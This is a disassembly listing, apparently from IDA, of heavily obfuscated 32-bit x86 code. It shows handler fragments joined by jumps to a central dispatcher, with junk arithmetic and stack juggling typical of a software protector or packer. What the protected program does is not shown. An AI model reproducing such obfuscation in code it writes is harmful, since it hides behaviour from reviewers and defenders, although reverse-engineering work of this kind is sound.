		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58DDD4
; ---------------------------------------------------------------------------


loc_57EA47:				; CODE XREF: ud2_____:00580082j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_57F093
; ---------------------------------------------------------------------------


loc_57EA52:				; CODE XREF: ud2_____:0058C317j
		pop	esi
		jmp	loc_58C56C
; ---------------------------------------------------------------------------


loc_57EA58:				; CODE XREF: ud2_____:00588FF9j
		sub	ebp, 0B3CFEB57h
		mov	edx, ebp
		pop	ebp
		sub	ebp, 645B5D3Bh
		sub	ebp, edx
		add	ebp, 645B5D3Bh
		pop	edx
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_584EEF
; ---------------------------------------------------------------------------


loc_57EA7A:				; CODE XREF: ud2_____:00584DAAj
		shr	eax, 4
		sub	eax, 0E78DB83Eh
		xor	edx, eax
		pop	eax
		sub	ebp, edx
		pop	edx
		jmp	loc_5859CF
; ---------------------------------------------------------------------------


loc_57EA8D:				; CODE XREF: ud2_____:0057F020j
		not	edx
		push	ecx
		jmp	loc_58F0A5
; ---------------------------------------------------------------------------


loc_57EA95:				; CODE XREF: ud2_____:00588E3Dj
		mov	eax, 2C9B0687h
		xor	eax, 2C9B0683h
		add	ebp, eax
		pop	eax
		jmp	loc_591101
; ---------------------------------------------------------------------------


loc_57EAA7:				; CODE XREF: ud2_____:0057E7C5j
		sub	ebx, eax
		jmp	loc_58E083
; ---------------------------------------------------------------------------


loc_57EAAE:				; CODE XREF: ud2_____:00584356j
		mov	ah, 41h
		and	cl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5815B1
; ---------------------------------------------------------------------------


loc_57EABD:				; CODE XREF: ud2_____:0057FCF8j
		sub	ecx, 10F67535h
		xor	ecx, 417001DBh
		dec	ecx
		neg	ecx
		xor	ecx, 0F50377D9h
		add	ebx, ecx
		pop	ecx
		add	ebx, 2EA55EE1h
		jmp	loc_57F646
; ---------------------------------------------------------------------------


loc_57EAE0:				; CODE XREF: ud2_____:00583426j
		pop	esp
		sub	ebp, 863B63h
		sub	ebp, eax
		add	ebp, 863B63h
		pop	eax
		sub	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		jmp	loc_5863FA
; ---------------------------------------------------------------------------


loc_57EB11:				; CODE XREF: ud2_____:005805D3j
		add	ebp, esi
		pop	esi
		jmp	loc_589950
; ---------------------------------------------------------------------------


loc_57EB19:				; CODE XREF: ud2_____:00586167j
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_581C98
; ---------------------------------------------------------------------------


loc_57EB2D:				; CODE XREF: ud2_____:005913E1j
		not	dword ptr [esp]
		jmp	loc_58C8D8
; ---------------------------------------------------------------------------


loc_57EB35:				; CODE XREF: ud2_____:00580D46j
		push	edi
		sub	esp, 4
		jmp	loc_58DCA4
; ---------------------------------------------------------------------------


loc_57EB41:				; CODE XREF: ud2_____:005822C2j
		add	ebp, eax
		jmp	loc_5851C0
; ---------------------------------------------------------------------------


loc_57EB48:				; CODE XREF: ud2_____:0058DE2Cj
		push	ebp
		push	ebx
		push	ecx
		jmp	loc_58079B
; ---------------------------------------------------------------------------


loc_57EB50:				; CODE XREF: ud2_____:005818FDj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58D774
; ---------------------------------------------------------------------------


loc_57EB64:				; CODE XREF: ud2_____:00587D79j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	ebp, 2
		push	ebp
		jmp	loc_587666
; ---------------------------------------------------------------------------


loc_57EB79:				; CODE XREF: ud2_____:0058CBF2j
		add	ecx, 50A0242Eh
		sub	ecx, esi
		sub	ecx, 50A0242Eh
		jmp	loc_590880
; ---------------------------------------------------------------------------


loc_57EB8C:				; CODE XREF: ud2_____:005819E8j
		mov	bh, 7Ah
		jmp	loc_58DBF0
; ---------------------------------------------------------------------------


loc_57EB93:				; CODE XREF: ud2_____:0058BB09j
		pop	edx
		sub	bl, 4Dh
		sub	bl, al
		jmp	loc_58F9A6
; ---------------------------------------------------------------------------


loc_57EB9E:				; CODE XREF: ud2_____:005904D3j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_591215
; ---------------------------------------------------------------------------


loc_57EBB7:				; CODE XREF: ud2_____:005886CAj
		pop	ecx
		mov	eax, [esp]
		jmp	loc_581513
; ---------------------------------------------------------------------------


loc_57EBC0:				; CODE XREF: ud2_____:0058E60Dj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		push	5F34h
		mov	[esp], esi
		jmp	loc_57F9AC
; ---------------------------------------------------------------------------


loc_57EBE8:				; CODE XREF: ud2_____:005837D5j
		add	al, dh
		pop	edx
		jmp	loc_591C79
; ---------------------------------------------------------------------------


loc_57EBF0:				; CODE XREF: ud2_____:00582AC0j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58C899
; ---------------------------------------------------------------------------


loc_57EC13:				; CODE XREF: ud2_____:00583449j
		add	ebx, 750170B4h
		sub	ebx, eax
		push	ecx
		mov	ecx, 750170B4h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5921C9
; ---------------------------------------------------------------------------


loc_57EC29:				; CODE XREF: ud2_____:005842ACj
		mov	[esp], edx
		push	7EDDh
		push	ebx
		jmp	loc_58273C
; ---------------------------------------------------------------------------


loc_57EC37:				; CODE XREF: ud2_____:00586DB3j
		mov	esi, 4
		sub	edx, esi
		jmp	loc_5897A0
; ---------------------------------------------------------------------------


loc_57EC43:				; CODE XREF: ud2_____:005916D6j
		inc	bl
		jmp	loc_582D78
; ---------------------------------------------------------------------------


loc_57EC4A:				; CODE XREF: ud2_____:0058D0C3j
		add	edi, 416976A8h
		add	edi, esi
		sub	edi, 416976A8h
		pop	esi
		add	edi, edx
		jmp	loc_58E395
; ---------------------------------------------------------------------------


loc_57EC60:				; CODE XREF: ud2_____:005827D0j
		and	eax, 7AE0B76h
		jmp	loc_58349C
; ---------------------------------------------------------------------------


loc_57EC6A:				; CODE XREF: ud2_____:0057E80Dj
		push	eax
		mov	eax, 74CD6322h
		sub	esi, eax
		jmp	loc_586B5F
; ---------------------------------------------------------------------------


loc_57EC77:				; CODE XREF: ud2_____:0057EE1Ej
		pop	esi
		pop	eax
		add	eax, 52821284h
		sub	eax, esi
		push	ebx
		mov	ebx, 52821284h
		sub	eax, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57ECA1:				; CODE XREF: ud2_____:00580E15j
		push	eax
		add	dword ptr [esp], 259F6C4Dh
		pop	ecx
		sub	ecx, 259F6C4Dh
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_586CF1
; ---------------------------------------------------------------------------


loc_57ECC0:				; CODE XREF: ud2_____:00587DAFj
		xor	edx, 0FDE60280h
		add	ecx, edx
		jmp	loc_58A4ED
; ---------------------------------------------------------------------------


loc_57ECCD:				; CODE XREF: ud2_____:0058FAC9j
		add	ebx, eax
		jmp	loc_5880DC
; ---------------------------------------------------------------------------


loc_57ECD4:				; CODE XREF: ud2_____:005885AEj
		push	esi
		jmp	loc_58F72F
; ---------------------------------------------------------------------------


loc_57ECDA:				; CODE XREF: ud2_____:0058199Fj
		mov	ecx, 5FD31259h
		xor	ecx, 5FD3125Dh
		jmp	loc_592973
; ---------------------------------------------------------------------------


loc_57ECEA:				; CODE XREF: ud2_____:00590EA2j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58BEAC
; ---------------------------------------------------------------------------


loc_57ECFB:				; CODE XREF: ud2_____:005812BEj
		mov	[esp], ecx
		jmp	loc_589F10
; ---------------------------------------------------------------------------
unk_57ED03	db    0			; CODE XREF: ud2_____:00592968j
; ---------------------------------------------------------------------------
		cmc
		pop	dx
		sub	ch, 0C5h
		or	dh, ch
		pop	ecx
		shr	dh, 5
		jmp	loc_59021A
; ---------------------------------------------------------------------------


loc_57ED15:				; CODE XREF: ud2_____:00585100j
		dec	ecx
		neg	ecx
		inc	ecx
		and	ecx, 64CC386Fh
		sub	ecx, 0F86E0D4Eh
		mov	edi, ecx
		pop	ecx
		add	ebx, 79E1037Ch
		sub	ebx, edi
		sub	ebx, 79E1037Ch
		mov	edi, [esp]
		add	esp, 4
		add	ebx, edi
		jmp	loc_588537
; ---------------------------------------------------------------------------


loc_57ED43:				; CODE XREF: ud2_____:0058CD32j
		shl	ecx, 7
		sub	ecx, 0EA20AFE2h
		sub	eax, ecx
		pop	ecx
		sub	eax, 173307BBh
		push	ebx
		push	edx
		mov	edx, 75946743h
		xor	edx, 746268BDh
		mov	ebx, edx
		jmp	loc_58F1DF
; ---------------------------------------------------------------------------


loc_57ED68:				; CODE XREF: ud2_____:0058A985j
		push	cx
		push	ax
		mov	ax, 149Ah
		mov	cx, ax
		pop	ax
		add	[esp+4], cx
		pop	cx
		jmp	loc_5820D7
; ---------------------------------------------------------------------------


loc_57ED81:				; CODE XREF: ud2_____:00584C2Ej
		mov	esi, 28CA2090h
		xor	esi, 775F6D50h
		or	esi, 27BA58C9h
		jmp	loc_584EF5
; ---------------------------------------------------------------------------


loc_57ED97:				; CODE XREF: ud2_____:00589484j
		mov	dl, 0FBh
		mov	cl, dl
		pop	edx
		push	ax
		mov	al, 0EDh
		add	cl, al
		pop	ax
		neg	cl
		sub	cl, 21h
		add	cl, 0BDh
		jmp	loc_58C63A
; ---------------------------------------------------------------------------


loc_57EDB1:				; CODE XREF: ud2_____:0058B04Ej
		push	eax
		jmp	loc_585A27
; ---------------------------------------------------------------------------


loc_57EDB7:				; CODE XREF: ud2_____:0058432Cj
		add	esi, ebp
		push	ebx
		mov	ebx, 5BF384Dh
		sub	ebx, 7BF768Ah
		xor	ebx, 0FC4FE0FCh
		jmp	loc_589473
; ---------------------------------------------------------------------------


loc_57EDD0:				; CODE XREF: ud2_____:005929B0j
		xor	[esp], ebp
		jmp	loc_591B40
; ---------------------------------------------------------------------------


loc_57EDD8:				; CODE XREF: ud2_____:0058FA6Bj
		sub	al, cl
		jmp	loc_5838F6
; ---------------------------------------------------------------------------


loc_57EDDF:				; CODE XREF: ud2_____:0059034Aj
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_58B8E2
; ---------------------------------------------------------------------------


loc_57EDEA:				; CODE XREF: ud2_____:005803B5j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_588A54
; ---------------------------------------------------------------------------


loc_57EDF5:				; CODE XREF: ud2_____:0058E7D8j
		add	esp, 4
		jmp	loc_57EFCC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5F90h
		mov	[esp], eax
		push	7C3Bh
		jmp	loc_590A6F
; ---------------------------------------------------------------------------


loc_57EE13:				; CODE XREF: ud2_____:0058B793j
		pop	ebx
		push	edi
		push	edx
		jmp	loc_5868D5
; ---------------------------------------------------------------------------


loc_57EE1B:				; CODE XREF: ud2_____:005899C6j
		mov	[esp], eax
		jmp	loc_57EC77
; ---------------------------------------------------------------------------


loc_57EE23:				; CODE XREF: ud2_____:0057EFB3j
		push	2C79h
		jmp	loc_57E4F0
; ---------------------------------------------------------------------------


loc_57EE2D:				; CODE XREF: ud2_____:0057FCDBj
		mov	ah, 0B7h
		mov	bh, 0A9h
		add	bh, ah
		pop	eax
		shl	bh, 6
		jmp	loc_582EF0
; ---------------------------------------------------------------------------


loc_57EE3C:				; CODE XREF: ud2_____:00587881j
		mov	[esp], ecx
		push	ebp
		xor	dword ptr [esp], 3E9F0E16h
		pop	ecx
		jmp	loc_580662
; ---------------------------------------------------------------------------


loc_57EE4D:				; CODE XREF: ud2_____:0057E2E6j
		mov	eax, 4D623DD6h
		shr	eax, 3
		push	edi
		mov	edi, 65D61709h
		or	edi, 430475E9h
		add	edi, 1A196A59h
		inc	edi
		add	edi, 7E101DBCh
		add	eax, edi
		jmp	loc_591F5B
; ---------------------------------------------------------------------------


loc_57EE75:				; CODE XREF: ud2_____:0058BD22j
		push	ebp
		mov	ebp, 362F3FD6h
		mov	esi, 362F3FDAh
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58E016
; ---------------------------------------------------------------------------


loc_57EE90:				; CODE XREF: ud2_____:0058C35Bj
		mov	eax, [esp]
		add	esp, 4
		push	bp
		mov	bp, 42C6h
		jmp	loc_58DE0F
; ---------------------------------------------------------------------------


loc_57EEA1:				; CODE XREF: ud2_____:00581861j
		sub	ebp, ecx
		jmp	loc_57E97D
; ---------------------------------------------------------------------------


loc_57EEA8:				; CODE XREF: ud2_____:00586D2Dj
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58E254
; ---------------------------------------------------------------------------


loc_57EEBE:				; CODE XREF: ud2_____:0058A5CBj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	2DCCh
		mov	[esp], edi
		jmp	loc_58B314
; ---------------------------------------------------------------------------


loc_57EEE6:				; CODE XREF: ud2_____:0058E78Bj
		not	ecx
		shr	ecx, 1
		shl	ecx, 6
		add	ecx, 68C5753Fh
		jmp	loc_5906DF
; ---------------------------------------------------------------------------


loc_57EEF8:				; CODE XREF: ud2_____:005828A3j
		push	esp
		pop	ebx
		push	73E2h
		jmp	loc_585701
; ---------------------------------------------------------------------------


loc_57EF04:				; CODE XREF: ud2_____:0058B629j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_58554D
; ---------------------------------------------------------------------------


loc_57EF18:				; CODE XREF: ud2_____:00588162j
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		pop	esi
		push	edi
		jmp	loc_588139
; ---------------------------------------------------------------------------


loc_57EF2B:				; CODE XREF: ud2_____:00591682j
		sub	eax, 5FE41B2Eh
		jmp	loc_5919BA
; ---------------------------------------------------------------------------


loc_57EF35:				; CODE XREF: ud2_____:0058EBAAj
		push	eax
		mov	eax, 0C30526Dh
		xor	ebp, eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		push	ebx
		push	33E2h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5840EE
; ---------------------------------------------------------------------------


loc_57EF5C:				; CODE XREF: ud2_____:00580CDDj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	0DBh
		jmp	loc_5832ED
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58980B
; ---------------------------------------------------------------------------


loc_57EF73:				; CODE XREF: ud2_____:005873A4j
		not	bl
		and	bl, 0B6h
		or	bl, 0B7h
		jmp	loc_58D8A0
; ---------------------------------------------------------------------------


loc_57EF80:				; CODE XREF: ud2_____:0058945Aj
		xchg	esi, [esp]
		pop	esp
		push	3400h
		mov	[esp], eax
		mov	eax, 7C6C495Bh
		add	edx, eax
		pop	eax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57EF99:				; CODE XREF: ud2_____:00584A4Bj
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_583C60
; ---------------------------------------------------------------------------


loc_57EFAD:				; CODE XREF: ud2_____:0058946Ej
		push	ecx
		mov	ecx, 7684185Eh
		jmp	loc_57EE23
; ---------------------------------------------------------------------------


loc_57EFB8:				; CODE XREF: ud2_____:00583F88j
		xor	esi, [esp]
		jmp	loc_5875D9
; ---------------------------------------------------------------------------


loc_57EFC0:				; CODE XREF: ud2_____:005824C7j
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5894C2
; ---------------------------------------------------------------------------


loc_57EFCC:				; CODE XREF: ud2_____:0057EDF8j
		sub	esp, 4
		jmp	loc_58E46D
; ---------------------------------------------------------------------------


loc_57EFD4:				; CODE XREF: ud2_____:0058C831j
		push	esp
		jmp	loc_592657
; ---------------------------------------------------------------------------


loc_57EFDA:				; CODE XREF: ud2_____:0058E83Cj
		xor	edx, 19001EF8h
		jmp	loc_57E7FE
; ---------------------------------------------------------------------------


loc_57EFE5:				; CODE XREF: ud2_____:0058BD3Bj
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57EFF4:				; CODE XREF: ud2_____:005875DFj
		mov	esp, [esp]
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_592879
; ---------------------------------------------------------------------------


loc_57F008:				; CODE XREF: ud2_____:00586C4Fj
		push	48ECh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		dec	edx
		jmp	loc_57EA8D
; ---------------------------------------------------------------------------


loc_57F025:				; CODE XREF: ud2_____:00586728j
		or	esi, 771E61F8h
		shr	esi, 7
		push	37F9h
		mov	[esp], ecx
		mov	ecx, 0D77DF433h
		sub	esi, ecx
		pop	ecx
		mov	eax, esi
		jmp	loc_58C376
; ---------------------------------------------------------------------------


loc_57F045:				; CODE XREF: ud2_____:005871D2j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	esp
		jmp	loc_57FDC4
; ---------------------------------------------------------------------------
		xchg	dl, [esp]
		jmp	loc_584205
; ---------------------------------------------------------------------------


loc_57F05D:				; CODE XREF: ud2_____:005848EDj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	56EEh
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 2EA21F96h
		jmp	loc_58E509
; ---------------------------------------------------------------------------


loc_57F08B:				; CODE XREF: ud2_____:0058600Bj
		xor	esi, [esp]
		jmp	loc_588D9F
; ---------------------------------------------------------------------------


loc_57F093:				; CODE XREF: ud2_____:0057EA4Dj
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 73957E85h
		add	ebx, 0A364A9B7h
		mov	ebp, ebx
		pop	ebx
		push	ecx
		push	ebp
		jmp	loc_581633
; ---------------------------------------------------------------------------


loc_57F0AF:				; CODE XREF: ud2_____:005803D3j
		sub	edi, 65011530h
		sub	edi, esi
		add	edi, 65011530h
		pop	esi
		and	ecx, edi
		jmp	loc_58E48A
; ---------------------------------------------------------------------------


loc_57F0C5:				; CODE XREF: ud2_____:005825B8j
		push	esi
		mov	esi, 555357BDh
		push	0
		jmp	loc_58F30D
; ---------------------------------------------------------------------------


loc_57F0D5:				; CODE XREF: ud2_____:0058350Aj
		pop	eax
		push	36FFh
		mov	[esp], ecx
		jmp	loc_584BF1
; ---------------------------------------------------------------------------


loc_57F0E3:				; CODE XREF: ud2_____:00589E94j
		sub	dword ptr [esp], 3E9E7365h
		pop	ecx
		add	ecx, 3E9E7365h
		mov	edi, [esp]
		jmp	loc_589DEE
; ---------------------------------------------------------------------------


loc_57F0F9:				; CODE XREF: ud2_____:0058AA9Ej
		add	dword ptr [esp], 2E200E97h
		jmp	loc_58EFE8
; ---------------------------------------------------------------------------


loc_57F105:				; CODE XREF: ud2_____:0058605Ej
		push	1F53h
		mov	[esp], ecx
		pop	ebp
		pop	ecx
		sub	ebp, 303A33C0h
		jmp	loc_58B201
; ---------------------------------------------------------------------------


loc_57F11A:				; CODE XREF: ud2_____:00582AE1j
		sub	ecx, 3993456Ah
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_588698
; ---------------------------------------------------------------------------


loc_57F12F:				; CODE XREF: ud2_____:00581A20j
		mov	[esp], ebx
		mov	ebx, 4000h
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5896DD
; ---------------------------------------------------------------------------


loc_57F142:				; CODE XREF: ud2_____:00590E0Bj
		pop	esp
		jmp	loc_57FDE9
; ---------------------------------------------------------------------------


loc_57F148:				; CODE XREF: ud2_____:00589368j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ecx, [esp]
		jmp	loc_5882D8
; ---------------------------------------------------------------------------


loc_57F160:				; CODE XREF: ud2_____:005830F2j
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_58A1F8
; ---------------------------------------------------------------------------


loc_57F176:				; CODE XREF: ud2_____:0058CCF8j
		xor	edx, [esp]
		pop	esp
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57F183:				; CODE XREF: ud2_____:005834A1j
		mov	ecx, eax
		pop	eax
		mov	[edi+20h], ecx
		pop	ecx


loc_57F18A:				; CODE XREF: ud2_____:0057F9BFj
					; ud2_____:0058C439j
		mov	ebx, [esp]
		push	2CB0h
		mov	[esp], edi
		jmp	loc_58B698
; ---------------------------------------------------------------------------


loc_57F19A:				; CODE XREF: ud2_____:00581A09j
		push	5F085847h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_581ED6
; ---------------------------------------------------------------------------


loc_57F1AA:				; CODE XREF: ud2_____:0057F9B3j
		xor	edi, ebp
		push	dword ptr [esp]
		jmp	loc_58D87F
; ---------------------------------------------------------------------------


loc_57F1B4:				; CODE XREF: ud2_____:0058EB14j
		add	eax, esi
		sub	eax, 93F1695h
		mov	esi, [esp]
		jmp	loc_58E688
; ---------------------------------------------------------------------------


loc_57F1C3:				; CODE XREF: ud2_____:0058B909j
		xor	eax, edi
		jmp	loc_592615
; ---------------------------------------------------------------------------


loc_57F1CA:				; CODE XREF: ud2_____:0058EDA8j
		push	3DB0h
		mov	[esp], esp
		jmp	loc_57F31B
; ---------------------------------------------------------------------------


loc_57F1D7:				; CODE XREF: ud2_____:005914ACj
		mov	edx, 1403762Eh
		push	ebx
		mov	ebx, 0C854CE9h
		inc	ebx
		jmp	loc_592E40
; ---------------------------------------------------------------------------


loc_57F1E8:				; CODE XREF: ud2_____:0058AD77j
		mov	esi, 749C1794h
		xor	ecx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_58FD04
; ---------------------------------------------------------------------------


loc_57F1FA:				; CODE XREF: ud2_____:005910FCj
		push	dword ptr [esp]
		jmp	loc_586689
; ---------------------------------------------------------------------------


loc_57F202:				; CODE XREF: ud2_____:0058DF11j
		sub	eax, 993CB80Dh
		jmp	loc_58BE96
; ---------------------------------------------------------------------------


loc_57F20C:				; CODE XREF: ud2_____:0058C48Dj
		push	4DECh
		mov	[esp], ebx
		mov	bh, 71h
		jmp	loc_589A98
; ---------------------------------------------------------------------------


loc_57F21B:				; CODE XREF: ud2_____:0058B766j
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_58244A
; ---------------------------------------------------------------------------


loc_57F234:				; CODE XREF: ud2_____:0058D94Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_587ECA
; ---------------------------------------------------------------------------
word_57F24A	dw 2489h		; CODE XREF: ud2_____:005890D2j
; ---------------------------------------------------------------------------
		and	al, 56h
		mov	esi, 4
		jmp	loc_5854EB
; ---------------------------------------------------------------------------


loc_57F258:				; CODE XREF: ud2_____:005829BCj
		add	edi, ebx
		sub	edi, 48247288h
		mov	ebx, [esp]
		jmp	loc_588E87
; ---------------------------------------------------------------------------


loc_57F268:				; CODE XREF: ud2_____:00583D1Aj
		add	cl, 2Dh
		jmp	loc_5924E3
; ---------------------------------------------------------------------------


loc_57F270:				; CODE XREF: ud2_____:0058052Aj
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_587E3D
; ---------------------------------------------------------------------------


loc_57F27D:				; CODE XREF: ud2_____:00585A36j
		pop	edx
		sub	ch, 5Bh
		push	ecx
		mov	ch, 20h
		dec	ch
		not	ch
		add	ch, 0C9h
		or	ch, 0A1h
		sub	ch, 8Ch
		jmp	loc_58B607
; ---------------------------------------------------------------------------


loc_57F296:				; CODE XREF: ud2_____:00587588j
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58598B
; ---------------------------------------------------------------------------


loc_57F2A2:				; CODE XREF: ud2_____:0059234Bj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5892F7
; ---------------------------------------------------------------------------


loc_57F2B0:				; CODE XREF: ud2_____:00581DC3j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_58691A
; ---------------------------------------------------------------------------


loc_57F2BF:				; CODE XREF: ud2_____:0058B802j
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		push	ebx
		push	8125294h
		pop	ebx
		and	ebx, 2DAC5A56h
		neg	ebx
		not	ebx
		xor	ebx, 218106C9h
		mov	ebp, ebx
		jmp	loc_58A5E9
; ---------------------------------------------------------------------------


loc_57F2E5:				; CODE XREF: ud2_____:005825FCj
		sub	esi, ebx
		pop	ebx
		add	esi, edi
		add	esi, 313B20BFh
		jmp	loc_5864DF
; ---------------------------------------------------------------------------
unk_57F2F5	db    0			; CODE XREF: ud2_____:00580FBFj
; ---------------------------------------------------------------------------
		clc
		jmp	loc_5801E2
; ---------------------------------------------------------------------------


loc_57F2FC:				; CODE XREF: ud2_____:0058D5BEj
		push	ebx
		mov	ebx, 5CEA0195h
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 19D2549h
		push	6AEh
		mov	[esp], ecx
		xchg	ebx, [esp]
		jmp	loc_591E39
; ---------------------------------------------------------------------------


loc_57F31B:				; CODE XREF: ud2_____:0057F1D2j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_58B73E
; ---------------------------------------------------------------------------


loc_57F327:				; CODE XREF: ud2_____:00584BFEj
		shr	ebx, 7
		xor	ebx, 0F7A77h
		sub	ebx, 63E529B1h
		add	ebx, edi
		add	ebx, 63E529B1h
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 5A3D2CD2h
		mov	ecx, 0A5C2D32Fh
		add	ecx, edx
		pop	edx
		add	[ebx], ecx
		pop	ecx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5902AC
; ---------------------------------------------------------------------------


loc_57F368:				; CODE XREF: ud2_____:00588ED2j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, [esp]
		jmp	loc_581F6B
; ---------------------------------------------------------------------------


loc_57F37A:				; CODE XREF: ud2_____:00592065j
		push	eax
		mov	al, 53h
		push	eax
		jmp	loc_584345
; ---------------------------------------------------------------------------


loc_57F383:				; CODE XREF: ud2_____:0058C50Bj
		add	eax, esi
		jmp	loc_58BA90
; ---------------------------------------------------------------------------


loc_57F38A:				; CODE XREF: ud2_____:00586642j
		mov	edi, 2
		push	esi
		push	eax
		push	6FD1F21h
		pop	eax
		or	eax, 1AEF18AEh
		jmp	loc_58912F
; ---------------------------------------------------------------------------


loc_57F3A1:				; CODE XREF: ud2_____:0058C4A7j
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 30AC7300h
		add	ebx, esi
		pop	esi
		push	small word ptr [eax]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57F3CF:				; CODE XREF: ud2_____:0058B739j
		add	edi, ecx
		jmp	loc_5824C1
; ---------------------------------------------------------------------------


loc_57F3D6:				; CODE XREF: ud2_____:0058209Fj
		xchg	eax, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 6A21351Ch
		add	edi, 68E1466Ah
		jmp	loc_589B0B
; ---------------------------------------------------------------------------


loc_57F400:				; CODE XREF: ud2_____:0058E8FCj
		mov	eax, [esp]
		add	esp, 4
		mov	esi, ebp
		jmp	loc_58AA33
; ---------------------------------------------------------------------------


loc_57F40D:				; CODE XREF: ud2_____:0058A9DDj
		add	esi, 4
		sub	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		jmp	loc_58C836
; ---------------------------------------------------------------------------


loc_57F42E:				; CODE XREF: ud2_____:00580C10j
		push	5C07h
		jmp	loc_580F83
; ---------------------------------------------------------------------------


loc_57F438:				; CODE XREF: ud2_____:00585F58j
		xor	esi, 112C04F7h
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6EA72F9Eh
